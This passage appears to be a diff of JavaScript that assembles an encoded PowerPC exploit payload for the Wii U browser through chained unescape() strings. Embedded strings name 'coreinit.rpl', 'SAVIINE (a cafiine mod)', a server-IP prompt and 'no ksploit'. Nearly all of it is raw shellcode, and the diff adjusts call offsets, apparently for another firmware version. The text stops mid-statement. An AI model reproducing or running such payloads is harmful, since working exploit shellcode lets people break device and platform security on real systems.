unescape("%u8189%u0000%u3d20%u0a00%u93e1%u0024%u7c7f%u1b78%u7f8c%u4800%u419e%u0038%u3940%u0020%u392c%u007c%u38a0%u0000%u7d49%u03a6%u4800%u000c%u38a5%u0001%u4240%u001c%u8569%u0004%u7f9f%u5800%u409e%ufff0"); + str += unescape("%u812c%u0280%u2f89%u0000%u419e%u0038%u3d20%u011e%u8001%u002c%u8129%uf410%u7fe3%ufb78%u7fc4%uf378%u83e1%u0024%u83c1%u0020%u7fa5%ueb78%u7d29%u03a6%u83a1%u001c%u3821%u0028%u7c08%u03a6%u4e80%u0420"); + str += unescape("%u7fe3%ufb78%u7fc4%uf378%u90c1%u0008%u90e1%u000c%u9101%u0010%u4bff%ufbe5%u3d20%u1000%u3940%u0001%u6129%u00e4%u8001%u002c%u8129%u0000%u7fe3%ufb78%u8101%u0010%u7fc4%uf378%u9149%u0280%u3d20%u011e"); + str += unescape("%u8129%uf410%u7fa5%ueb78%u80e1%u000c%u7c08%u03a6%u80c1%u0008%u83a1%u001c%u7d29%u03a6%u83c1%u0020%u83e1%u0024%u3821%u0028%u4e80%u0420%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c"); + str += unescape("%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000%u4bee%u2add%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000"); str += unescape("%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020"); str += unescape("%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000"); - str += unescape("%u4bee%u2a15%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c"); - str += unescape("%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u7c08%u02a6%u9421%uffc0%u93c1%u0038%u7c7e%u1b78%u9001%u0044%u93e1%u003c%u4bee%u21b1%u3860%u0002%u3880%u0001%u38a0%u0006%u4bee%u4075"); - str += unescape("%u2f83%uffff%u7c7f%u1b78%u419e%u00a8%u3d20%u011e%u3940%u0002%u8129%ue000%u3881%u0018%ub141%u0018%u38a0%u0010%u3940%u1ca4%u9121%u001c%ub141%u001a%u4bee%u26a1%u2f83%u0000%u419c%u0070%u3c80%u1001"); - str += unescape("%u38a0%u0010%u3884%u36d0%u3861%u0008%u4be5%u78c5%u7fe3%ufb78%u3881%u0008%u38a0%u0010%u4bff%ufe51%u2f83%u0000%u419c%u0044%u7fe3%ufb78%u3881%u0028%u38a0%u0001%u4bff%ufecd%u2f83%u0000%u419c%u002c"); - str += unescape("%u8921%u0028%u2b89%u00ff%u419e%u0020%u8001%u0044%u93fe%u0000%u7c08%u03a6%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u7fe3%ufb78%u4bee%u4111%u8001%u0044%u3920%uffff%u913e%u0000%u7c08%u03a6"); - str += unescape("%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u2f83%uffff%u4d9e%u0020%u4bee%u40e4%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000%u9001%u0034%u63de%u00e4%u9361%u001c%u7cdb%u3378%u813e%u0000"); - str += unescape("%u9381%u0020%u7c7c%u1b78%u8149%u0284%u93a1%u0024%u7cbd%u2b78%u2f8a%u0000%u93e1%u002c%u7c3f%u0b78%u419e%u0018%u4bf7%u36e9%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9c%uffff%u3940%u0001"); - str += unescape("%u9149%u0284%u419e%u00a4%u391d%uffff%u3940%u0000%u4800%u0008%u7d2a%u4b78%u8ce8%u0001%u392a%u0001%u2f87%u0000%u409e%ufff0%u390a%u0019%u80e1%u0000%u5508%u0036%u7d26%u4b79%u7d08%u00d0%u7c3e%u0b78"); - str += unescape("%u7ce1%u416e%u3900%u000a%u7cc9%u03a6%u38aa%u000a%u3881%u0008%u9901%u0008%u9124%u0005%u3920%u0000%u9364%u0001%u4081%u0080%u7cfd%u48ae%u7d04%u4a14%u3929%u0001%u98e8%u0009%u4200%ufff0%u7f83%ue378"); - str += unescape("%u4bff%ufced%u2f83%u0000%u419c%u0014%u7f83%ue378%u389f%u0008%u38a0%u0001%u4bff%ufd69%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6%u6129%u00e4"); - str += unescape("%u8129%u0000%u3940%u0000%u836b%uffec%u9149%u0284%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%uff7c%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000"); - str += unescape("%u9001%u0034%u63de%u00e4%u9341%u0018%u7cda%u3378%u813e%u0000%u9361%u001c%u7c7b%u1b78%u8149%u0284%u9381%u0020%u7cbc%u2b78%u2f8a%u0000%u93a1%u0024%u93e1%u002c%u7c9d%u2378%u7c3f%u0b78%u419e%u0018"); - str += unescape("%u4bf7%u358d%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9b%uffff%u3940%u0001%u9149%u0284%u419e%u007c%u393c%u0018%u8141%u0000%u5529%u0036%u2f9c%u0000%u7d29%u00d0%u7c3e%u0b78%u7d41%u496e"); - str += unescape("%u3920%u000b%u7f89%u03a6%u38bc%u0009%u3881%u0008%u9921%u0008%u9344%u0001%u3920%u0000%u9384%u0005%u409d%u0018%u7d1d%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0009%u4200%ufff0%u7f63%udb78%u4bff%ufbb1"); - str += unescape("%u7f63%udb78%u389f%u0008%u38a0%u0001%u4bff%ufc35%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6%u6129%u00e4%u8129%u0000%u3940%u0000%u834b%uffe8"); - str += unescape("%u9149%u0284%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c9c%u2378%u813f%u0000"); - str += unescape("%u93a1%u001c%u7cbd%u2b78%u8149%u0284%u93c1%u0020%u7c7e%u1b78%u2f8a%u0000%u419e%u0018%u4bf7%u3471%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9e%uffff%u3940%u0001%u9149%u0284%u419e%u009c"); - str += unescape("%u3920%u0002%u7fc3%uf378%u3881%u0008%u38a0%u0005%u9921%u0008%u93a1%u0009%u4bff%ufad5%u2f83%u0000%u419c%u0078%u7fc3%uf378%u3881%u0010%u38a0%u0001%u4bff%ufb51%u2f83%u0000%u419c%u0060%u8921%u0010"); - str += unescape("%u2b89%u00ff%u419e%u0054%u7fc3%uf378%u7f84%ue378%u38a0%u0004%u4bff%ufb2d%u2f83%u0000%u419c%u003c%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%u0000"); - str += unescape("%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%uffff%u83a1%u001c%u83c1%u0020"); - str += unescape("%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c7c%u1b78%u813f%u0000%u93a1%u001c%u7c9d%u2378%u8149%u0284"); - str += unescape("%u93c1%u0020%u7cbe%u2b78%u2f8a%u0000%u419e%u0018%u4bf7%u333d%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u7f83%ue378%u9149%u0284%u3881%u0008%u3920%u000c%u38a0%u0009%u9921%u0008"); - str += unescape("%u93a1%u0009%u93c1%u000d%u4bff%uf9a5%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020"); - str += unescape("%u2f83%uffff%u7c08%u02a6%u9421%uffe0%u9381%u0010%u7c7c%u1b78%u93e1%u001c%u7c3f%u0b78%u9001%u0024%u9361%u000c%u93a1%u0014%u93c1%u0018%u419e%u00dc%u3fa0%u1000%u7c9e%u2378%u63bd%u00e4%u7cbb%u2b78"); - str += unescape("%u813d%u0000%u8149%u0284%u2f8a%u0000%u419e%u0018%u4bf7%u327d%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u391e%uffff%u9149%u0284%u3920%u0000%u4800%u0008%u7d49%u5378%u8ce8%u0001"); - str += unescape("%u3949%u0001%u2f87%u0000%u409e%ufff0%u3909%u0015%u80e1%u0000%u5508%u0036%u7d46%u5379%u7d08%u00d0%u7c3d%u0b78%u7ce1%u416e%u38a9%u0006%u7cc9%u03a6%u3920%u0000%u3881%u0008%u9b61%u0008%u9144%u0001"); - str += unescape("%u4081%u0070%u7d1e%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0005%u4200%ufff0%u3920%u0000%u7f83%ue378%u992a%u0006%u4bff%uf889%u3d40%u1000%u614a%u00e4%u8121%u0000%u814a%u0000%u913d%u0000%u3920%u0000"); - str += unescape("%u912a%u0284%u7fa1%ueb78%u397f%u0020%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%uff8c%u3d20%u011e"); - str += unescape("%u8129%uf28c%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf290%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf294%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000"); - str += unescape("%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf298%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0"); - str += unescape("%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u71e5%u3d20%u011e%u8001%u0014%u8129%uf298%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6"); - str += unescape("%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf29c%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6"); - str += unescape("%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u7155%u3d20%u011e%u8001%u0014%u8129%uf29c%u83e1%u000c%u7c08%u03a6"); - str += unescape("%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf2a0%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u3d40%u0a00%u8129%u0000%u7c7f%u1b78"); - str += unescape("%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u5463%u103a%u7c69%u1a14%u4bff%uf7bd%u8001%u0014%u7fe3%ufb78%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u7c08%u02a6%u3d20%u011e%u9421%ufff0"); - str += unescape("%u8129%uf2a4%u93c1%u0008%u7c7e%u1b78%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u7c7f%u1b78%u80e9%u0000%u3d20%u0a00%u7f87%u4800%u419e%u005c%u2f83%u0000%u419c%u0054"); - str += unescape("%u3900%u0020%u3947%u007c%u3920%u0000%u7d09%u03a6%u4800%u000c%u3929%u0001%u4240%u0038%u850a%u0004%u2f88%u0000%u409e%ufff0%u3949%u0020%u3929%u0040%u554a%u103a%u5529%u103a%u7fc7%u512e%u3d40%u1000"); - str += unescape("%u614a%u00e4%u806a%u0000%u7c63%u4a14%u4bff%uf709%u8001%u0014%u7fe3%ufb78%u83c1%u0008%u7c08%u03a6%u83e1%u000c%u3821%u0010%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u3d40%u0a00%u6129%u00e4"); - str += unescape("%u93e1%u000c%u9001%u0014%u7c7f%u1b78%u8129%u0000%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u546a%u103a%u7c69%u502e%u4bff%uf7a9%u3d20%u011e%u8001%u0014%u8129%uf2a8%u7fe3%ufb78%u7c08%u03a6"); - str += unescape("%u83e1%u000c%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u6129%u00e4%u93c1%u0008%u9001%u0014%u7c7e%u1b78%u93e1%u000c%u8109%u0000%u3d20%u0a00%u7f88%u4800%u419e%u0058"); - str += unescape("%u3940%u0020%u3928%u007c%u3be0%u0000%u7d49%u03a6%u4800%u000c%u3bff%u0001%u4240%u003c%u8549%u0004%u7f9e%u5000%u409e%ufff0%u393f%u0040%u3bff%u0020%u5529%u103a%u57ff%u103a%u7c68%u482e%u4bff%uf715"); - str += unescape("%u3d20%u1000%u6129%u00e4%u3940%u0000%u8129%u0000%u7d49%uf92e%u3d20%u011e%u8001%u0014%u8129%uf2ac%u7fc3%uf378%u83e1%u000c%u7c08%u03a6%u83c1%u0008%u7d29%u03a6%u3821%u0010%u4e80%u0420%u9421%ufd48"); - str += unescape("%u7c08%u02a6%u3928%u0001%u92a1%u028c%u7cd5%u3378%u9301%u0298%u7c98%u2378%u9361%u02a4%u7ca4%u2b78%u93e1%u02b4%u7cfb%u3b78%u7cbf%u2b78%u38e0%uffff%u7cc5%u3378%u38c1%u027c%u93c1%u02b0%u7c7e%u1b78"); - str += unescape("%u9001%u02bc%u9281%u0288%u92c1%u0290%u92e1%u0294%u9321%u029c%u9341%u02a0%u9381%u02a8%u93a1%u02ac%u9101%u027c%u9121%u0278%u4be9%u0ad1%u2c03%u0000%u4082%u02f4%u3940%u0072%u3f80%u1000%u9941%u0280"); - str += unescape("%u3b20%u002f%u9861%u0281%u3b40%u0000%u639c%u00e4%u571d%u103a%u3ec0%u1005%u3ee0%u100b%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c1%u0008%u38e0%uffff%u4be9%u0b79%u2f83%u0000%u409e%u01f8%u8975%u0000"); - str += unescape("%u2f8b%u0000%u419e%u0294%u3981%u016b%u3920%u0000%u3929%u0001%u9d6c%u0001%u7d75%u48ae%u2f8b%u0000%u409e%ufff0%u3989%u0001%u8961%u006c%u3941%u0008%u7d2a%u4a14%u2f8b%u0000%u9b29%u0164%u419e%u0028"); - str += unescape("%u3921%u016c%u38cc%uffff%u7cc9%u3214%u3921%u006c%u9d66%u0001%u398c%u0001%u8d69%u0001%u2f8b%u0000%u409e%ufff0%u3941%u0008%u3881%u016c%u7d8a%u6214%u38a0%u00fb%u9b4c%u0164%u813c%u0000%u7c69%ue82e"); - str += unescape("%u4bff%ufa01%u8121%u0008%u2f89%u0000%u419c%u01bc%u3920%u0066%u9b41%u0270%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u006c%u9921%u026e%u3920%u0065%u9921%u026f%u3881%u026c%u38a0%u00fb%u813c%u0000"); - str += unescape("%u7c69%ue82e%u4bff%uf9bd%u7fc3%uf378%u7fe4%ufb78%u38a1%u016c%u38c1%u0280%u38e1%u0278%u7f68%udb78%u4be9%u0285%u2f83%u0000%u41bc%ufef4%u813c%u0000%u3881%u016c%u38a0%u00fb%u7c69%ue82e%u4bff%uf985"); - str += unescape("%u813c%u0000%u80c1%u0278%u7f04%uc378%u7c69%ue82e%u38a1%u016c%u4bff%uf509%u8136%ue9c0%u3860%u0000%u3880%u0040%u6063%uc800%u7d29%u03a6%u4e80%u0421%u7c74%u1b78%u4800%u0010%u80c1%u0278%u7c69%ue82e"); - str += unescape("%u4bff%uf631%u8101%u0278%u38e0%u0000%u7fe4%ufb78%u7e85%ua378%u3920%u0000%u38c0%u0001%u60e7%uc800%u7f6a%udb78%u7fc3%uf378%u4be9%u0389%u7e84%ua378%u2f83%u0000%u7c65%u1b78%u9061%u0274%u813c%u0000"); - str += unescape("%u419d%uffb8%u7c69%ue82e%u3881%u0274%u80a1%u0278%u4bff%uf70d%u80a1%u0278%u7f67%udb78%u7fe4%ufb78%u38c0%u0000%u7fc3%uf378%u4be9%u0771%u8137%u487c%u7e83%ua378%u7d29%u03a6%u4e80%u0421%u80a1%u0278"); - str += unescape("%u7fe4%ufb78%u38c0%uffff%u7fc3%uf378%u4be9%u02a5%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c1%u0008%u38e0%uffff%u4be9%u0985%u2f83%u0000%u419e%ufe10%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c0%u0000"); - str += unescape("%u4be9%u08e9%u3860%u0000%u8001%u02bc%u8281%u0288%u7c08%u03a6%u82a1%u028c%u82c1%u0290%u82e1%u0294%u8301%u0298%u8321%u029c%u8341%u02a0%u8361%u02a4%u8381%u02a8%u83a1%u02ac%u83c1%u02b0%u83e1%u02b4"); - str += unescape("%u3821%u02b8%u4e80%u0020%u3920%u0064%u9b41%u026f%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u0072%u9921%u026e%u3881%u026c%u38a0%u00fb%u813c%u0000%u7c69%ue82e%u4bff%uf80d%u8101%u0278%u7fc3%uf378"); - str += unescape("%u7f04%uc378%u7fe5%ufb78%u38c1%u016c%u7f67%udb78%u4bff%ufcad%u4bff%ufd48%u3980%u0001%u3920%u0000%u4bff%ufd88%u3860%uffff%u4bff%uff60%u9421%ufea8%u7c08%u02a6%u3920%u0030%u38e0%u002f%u93e1%u0154"); - str += unescape("%u3be0%u006c%u9001%u015c%u3800%u0076%u9be1%u010b%u3be0%u0073%u9921%u0115%u3900%u006f%u9921%u0116%u3940%u0000%u9921%u0117%u3960%u006d%u9921%u0118%u9921%u0119%u9921%u011a%u9921%u011b%u3920%u0063"); - str += unescape("%u98e1%u0108%u9801%u0109%u98e1%u010c%u9be1%u010d%u3be0%u0061%u9801%u010f%u3800%u0065%u98e1%u0111%u38e0%u0038%u9921%u0120%u3920%u006e%u9341%u0140%u7c7a%u1b78%u9361%u0144%u7c9b%u2378%u9381%u0148"); - str += unescape("%u7cbc%u2b78%u93a1%u014c%u7cdd%u3378%u93c1%u0150%u3bc0%u0000%u9901%u010a%u9941%u0112%u98e1%u0114%u38e1%u0109%u9941%u011c%u9901%u0121%u9321%u013c%u9be1%u010e%u9801%u0110%u9961%u0122%u9961%u0123"); - str += unescape("%u9901%u0124%u3901%u0007%u9921%u0125%u3920%u0076%u9941%u0126%u3940%u002f%u4800%u0008%u8d27%u0001%u2f89%u0000%u9d48%u0001%u3bde%u0001%u7d2a%u4b78%u409e%uffec%u3921%u0008%u3b3e%uffff%u7f29%uca14"); - str += unescape("%u38c1%u0115%u7f27%ucb78%u7fca%uf378%u3920%u0030%u3900%u0038%u4800%u0008%u8d26%u0001%u2f89%u0000%u9d07%u0001%u394a%u0001%u7d28%u4b78%u409e%uffec%u7d41%u5214%u3be0%u0001%u992a%u0008%u4800%u0028"); - str += unescape("%u2f89%u0009%u3949%u0057%u9901%u0018%u3929%u0030%u419d%u005c%u2f9f%u0100%u9921%u0019%u3bff%u0001%u419e%u005c%u3900%u0032%u7f43%ud378%u7fa4%ueb78%u7f65%udb78%u38c1%u0008%u7f87%ue378%u4bff%ufb01"); - str += unescape("%u7fe9%u2670%u2f89%u0009%u3949%u0057%u3909%u0030%u57e9%u073e%u40bd%uffac%u2f89%u0009%u9941%u0018%u3949%u0057%u3929%u0030%u40bd%uffac%u2f9f%u0100%u9941%u0019%u3bff%u0001%u409e%uffac%u3901%u0121"); - str += unescape("%u7f2a%ucb78%u3be0%u006f%u3920%u0063%u4800%u0008%u8fe8%u0001%u2f9f%u0000%u9d2a%u0001%u3bde%u0001%u7fe9%ufb78%u409e%uffec%u7fc1%uf214%u3f20%u1000%u9bfe%u0008%u6339%u00e4%u57be%u103a%u3881%u0008"); - str += unescape("%u8139%u0000%u38a0%u00fb%u7c69%uf02e%u4bff%uf5b5%u7fa4%ueb78%u7f65%udb78%u38c1%u0008%u7f87%ue378%u7f43%ud378%u3900%u003c%u4bff%ufa55%u3920%u0064%u9921%u0128%u3920%u006f%u9921%u0129%u3920%u006e"); - str += unescape("%u9921%u012a%u3920%u0065%u9921%u012b%u3920%u0021%u9be1%u012d%u3881%u0128%u9921%u012c%u38a0%u00fb%u8139%u0000%u7c69%uf02e%u4bff%uf559%u8001%u015c%u8321%u013c%u7c08%u03a6%u8341%u0140%u8361%u0144"); - str += unescape("%u8381%u0148%u83a1%u014c%u83c1%u0150%u83e1%u0154%u3821%u0158%u4e80%u0020%u7c08%u02a6%u9421%uffe0%u3d20%u1000%u6129%u00e4%u9381%u0010%u9001%u0024%u7cbc%u2b78%u93a1%u0014%u7cdd%u3378%u8169%u0000"); - str += unescape("%u3d20%u0a00%u93c1%u0018%u7c9e%u2378%u7f8b%u4800%u93e1%u001c%u7c7f%u1b78%u419e%u0038%u3940%u0020%u392b%u007c%u38c0%u0000%u7d49%u03a6%u4800%u000c%u38c6%u0001%u4240%u001c%u8509%u0004%u7f9f%u4000"); - str += unescape("%u409e%ufff0%u812b%u0280%u2f89%u0000%u419e%u0040%u3d20%u011e%u8001%u0024%u8129%uf2b0%u7fe3%ufb78%u7fc4%uf378%u83e1%u001c%u83c1%u0018%u7f85%ue378%u7fa6%ueb78%u8381%u0010%u83a1%u0014%u7d29%u03a6"); - str += unescape("%u3821%u0020%u7c08%u03a6%u4e80%u0420%u7fe3%ufb78%u7fc4%uf378%u7ce5%u3b78%u90e1%u0008%u4bff%ufc91%u3d20%u1000%u6129%u00e4%u3940%u0002%u8129%u0000%u7fe3%ufb78%u8001%u0024%u7fc4%uf378%u9149%u0280"); - str += unescape("%u3d20%u011e%u8129%uf2b0%u7f85%ue378%u80e1%u0008%u7fa6%ueb78%u8381%u0010%u7d29%u03a6%u83a1%u0014%u83c1%u0018%u7c08%u03a6%u83e1%u001c%u3821%u0020%u4e80%u0420%u0000%u0000%u0000%u0000%u0000%u0000"); - str += unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u12b4%u636f%u7265%u696e%u6974%u2e72%u706c%u0000%u0000%u5f45%u7869%u7400%u0000%u4443%u466c%u7573%u6852"); - str += unescape("%u616e%u6765%u0000%u0000%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u0000%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u205f%u4578%u6974%u2e0a%u0000%u0000%u4173%u7365"); - str += unescape("%u7274%u696f%u6e20%u6661%u696c%u6564%u2044%u4346%u6c75%u7368%u5261%u6e67%u652e%u0a00%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u204f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963"); - str += unescape("%u616c%u2e0a%u0000%u0000%u6e6f%u206b%u7370%u6c6f%u6974%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363"); - str += unescape("%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u0000"); - str += unescape("%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000%u2d2d%u2053%u4156%u4949%u4e45%u2028%u6120%u6361%u6669%u696e"); - str += unescape("%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665%u7220%u4950%u0000%u0000%u322e%u2050%u7265%u7373%u2041%u2074"); - str += unescape("%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00%u7676%u7600%u0000%u1eb0%u0000%u1eb4%u0000%u1eb8%u0000%u1ebc"); - str += unescape("%u0000%u1ec0%u0000%u1ec4%u0000%u1ec8%u0000%u1ecc%u0000%u1ed0%u0000%u1ed4%u0000%u1ed8%u0000%u1edc%u0000%u1ee0%u0000%u1ee4%u0000%u1ee8%u0000%u1eec%u0000%u1ef0%u0000%u1ef4%u0000%u1ef8%u0000%u1efc"); - str += unescape("%u0000%u1f00%u0000%u1f04%u0000%u1f08%u0000%u1f0c%u0000%u1f10%u0000%u1f14%u0000%u1f18%u0000%u1f1c%u0000%u1f20%u0000%u1f24%u0000%u1f28%u0000%u1f2c%u0000%u1f30%u0000%u1f34%u0000%u1f38%u0000%u1f3c"); - str += unescape("%u0000%u1f40%u0000%u1f44%u0000%u1f48%u0000%u1f4c%u0000%u1f50%u0000%u1f54%u0000%u1f58%u0000%u1f5c%u0000%u1f60%u0000%u1f64%u0000%u1f68%u0000%u1f6c%u0000%u1f70%u0000%u1f74%u0000%u1f78%u0000%u1f7c"); - str += unescape("%u0000%u1f80%u0000%u1f84%u0000%u1f88%u0000%u1f8c%u0000%u1f90%u0000%u1f94%u0000%u1f98%u0000%u1f9c%u0000%u1fa0%u0000%u1fa4%u0000%u1fa8%u0000%u1fac%u0000%u1fb0%u0000%u1fb4%u0000%u1fb8%u0000%u1fbc"); - str += unescape("%u0000%u1fc0%u0000%u1fc4%u0000%u1fc8%u0000%u1fcc%u0000%u1fd0%u0000%u1fd4%u0000%u1fd8%u0000%u1fdc%u0000%u1fe0%u0000%u1fe4%u0000%u1fe8%u0000%u1fec%u0000%u1ff0%u0000%u1ff4%u0000%u1ff8%u0000%u1ffc"); - str += unescape("%u0000%u2000%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c"); + str += unescape("%u4bee%u1e89%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c"); + str += unescape("%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u7c08%u02a6%u9421%uffc0%u93c1%u0038%u7c7e%u1b78%u9001%u0044%u93e1%u003c%u4bee%u1625%u3860%u0002%u3880%u0001%u38a0%u0006%u4bee%u34e9"); + str += unescape("%u2f83%uffff%u7c7f%u1b78%u419e%u00a8%u3d20%u011e%u3940%u0002%u8129%ue000%u3881%u0018%ub141%u0018%u38a0%u0010%u3940%u1ca4%u9121%u001c%ub141%u001a%u4bee%u1b15%u2f83%u0000%u419c%u0070%u3c80%u1001"); + str += unescape("%u38a0%u0010%u3884%u36d0%u3861%u0008%u4be5%u6d39%u7fe3%ufb78%u3881%u0008%u38a0%u0010%u4bff%ufe51%u2f83%u0000%u419c%u0044%u7fe3%ufb78%u3881%u0028%u38a0%u0001%u4bff%ufecd%u2f83%u0000%u419c%u002c"); + str += unescape("%u8921%u0028%u2b89%u00ff%u419e%u0020%u8001%u0044%u93fe%u0000%u7c08%u03a6%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u7fe3%ufb78%u4bee%u3585%u8001%u0044%u3920%uffff%u913e%u0000%u7c08%u03a6"); + str += unescape("%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u2f83%uffff%u4d9e%u0020%u4bee%u3558%u7c08%u02a6%u9421%uffd0%u93a1%u0024%u3fa0%u1000%u9001%u0034%u63bd%u00e4%u9361%u001c%u7cdb%u3378%u813d%u0000"); + str += 